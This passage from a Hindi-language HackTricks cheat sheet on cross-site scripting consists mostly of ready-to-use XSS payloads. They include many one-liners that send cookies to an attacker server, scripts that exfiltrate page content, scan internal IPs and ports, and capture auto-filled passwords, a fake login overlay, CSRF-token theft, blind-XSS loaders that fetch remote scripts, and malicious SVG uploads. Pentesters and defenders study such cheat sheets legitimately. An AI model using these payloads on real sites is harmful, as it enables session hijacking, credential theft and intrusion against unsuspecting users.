(゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
XSS सामान्य पेलोड्स
कई पेलोड्स एक में
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
कुकीज़ प्राप्त करें
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} यदि HTTPOnly फ्लैग कुकी में सेट है, तो आप JavaScript के माध्यम से कुकीज़ को एक्सेस नहीं कर पाएंगे। लेकिन यहाँ आपके पास इस सुरक्षा को बायपास करने के कुछ तरीके हैं यदि आप काफी भाग्यशाली हैं। {% endhint %}
पेज कंटेंट चुराना
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
आंतरिक IPs खोजें
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
पोर्ट स्कैनर (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
पोर्ट स्कैनर (वेबसॉकेट्स)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
कम समय का संकेत है कि पोर्ट प्रतिक्रिया दे रहा है लंबा समय का संकेत है कि कोई प्रतिक्रिया नहीं है।
Chrome में प्रतिबंधित पोर्ट्स की सूची की समीक्षा यहाँ और Firefox में यहाँ करें।
प्रमाणीकरण के लिए पूछने वाला बॉक्स
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
ऑटो-फिल पासवर्ड्स कैप्चर
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
जब पासवर्ड फील्ड में कोई डेटा डाला जाता है, तो यूजरनेम और पासवर्ड हमलावर के सर्वर पर भेज दिया जाता है, यहां तक कि अगर क्लाइंट एक सहेजा हुआ पासवर्ड चुनता है और कुछ भी नहीं लिखता है तो भी क्रेडेंशियल्स को बाहर निकाल लिया जाएगा।
कीलॉगर
बस github में खोजते हुए मैंने कुछ अलग-अलग प्रकार के पाए:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- आप metasploit
http_javascript_keylogger
का भी उपयोग कर सकते हैं
CSRF टोकन चुराना
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage संदेशों की चोरी
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
सर्विस वर्कर्स का दुरुपयोग
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
शैडो DOM तक पहुँच
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
पॉलीग्लॉट्स
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
ब्लाइंड XSS पेलोड्स
आप यह भी उपयोग कर सकते हैं: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - छिपी हुई सामग्री तक पहुँच
इस लेख से यह सीखा जा सकता है कि यदि कुछ मान JS से गायब भी हो जाएं, तो भी उन्हें विभिन्न ऑब्जेक्ट्स में JS विशेषताओं में पाया जा सकता है। उदाहरण के लिए, REGEX का एक इनपुट तब भी पाया जा सकता है जब रेगेक्स के इनपुट का मान हटा दिया गया हो:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
ब्रूट-फोर्स सूची
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
XSS अन्य कमजोरियों का दुरुपयोग
Markdown में XSS
क्या आप Markdown कोड इंजेक्ट कर सकते हैं जो रेंडर किया जाएगा? शायद आप XSS प्राप्त कर सकते हैं! जांचें:
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSS से SSRF तक
क्या आपको किसी साइट पर XSS मिला है जो कैशिंग का उपयोग करती है? इस पेलोड के साथ Edge Side Include Injection के माध्यम से SSRF में उन्नत करने का प्रयास करें:
<esi:include src="http://yoursite.com/capture" />
इसका उपयोग कुकी प्रतिबंधों, XSS फिल्टरों और बहुत कुछ को बायपास करने के लिए करें! इस तकनीक के बारे में अधिक जानकारी यहाँ है: XSLT.
डायनामिक बनाई गई PDF में XSS
यदि कोई वेब पेज उपयोगकर्ता नियंत्रित इनपुट का उपयोग करके PDF बना रहा है, तो आप बॉट को चकमा देने की कोशिश कर सकते हैं जो PDF बना रहा है मनमाने JS कोड को निष्पादित करने के लिए। इसलिए, यदि PDF निर्माता बॉट को किसी प्रकार के HTML टैग्स मिलते हैं, तो वह उन्हें व्याख्या करेगा, और आप इस व्यवहार का दुरुपयोग करके Server XSS का कारण बन सकते हैं।
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
यदि आप HTML टैग्स इंजेक्ट नहीं कर सकते हैं तो PDF डेटा इंजेक्ट करने की कोशिश करना लाभदायक हो सकता है:
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
Amp4Email में XSS
AMP एक तकनीक है जिसे मोबाइल क्लाइंट्स पर सुपर फास्ट वेब पेज विकसित करने के लिए जाना जाता है। AMP एक सेट है HTML टैग्स का जो JavaScript द्वारा समर्थित है जो आसानी से प्रदर्शन और सुरक्षा पर एक विशेष ध्यान के साथ कार्यक्षमता को सक्षम करता है। AMP components हर चीज के लिए हैं, कैरोसेल से लेकर, प्रतिक्रियाशील फॉर्म तत्वों से लेकर, दूरस्थ एंडपॉइंट्स से ताजा सामग्री प्राप्त करने के लिए।
AMP for Email प्रारूप आपको ईमेल संदेशों में उपयोग करने के लिए AMP components का एक उपसमूह प्रदान करता है। AMP ईमेल के प्राप्तकर्ता ईमेल में सीधे AMP components को देख सकते हैं और उनके साथ इंटरैक्ट कर सकते हैं।
उदाहरण writeup XSS in Amp4Email in Gmail.
फाइलें अपलोड करते समय XSS (svg)
निम्नलिखित जैसी फाइल को एक इमेज के रूप में अपलोड करें ( http://ghostlulz.com/xss-svg/ से):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
अधिक SVG payloads के लिए यहाँ देखें https://github.com/allanlw/svg-cheatsheet
Misc JS Tricks & संबंधित जानकारी
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
XSS संसाधन
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
XSS उपकरण
कुछ XSS के लिए उपकरण यहाँ पाएं.
Bug bounty tip: Intigriti में साइन अप करें, एक प्रीमियम bug bounty platform जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! हमसे जुड़ें https://go.intigriti.com/hacktricks आज ही, और $100,000 तक के bounties कमाना शुरू करें!
{% embed url="https://go.intigriti.com/hacktricks" %}
AWS हैकिंग सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो SUBSCRIPTION PLANS देखें!
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group या Twitter पर 🐦 @carlospolopm को फॉलो करें.
- अपनी हैकिंग ट्रिक्स साझा करें PRs जमा करके HackTricks और HackTricks Cloud github repos में.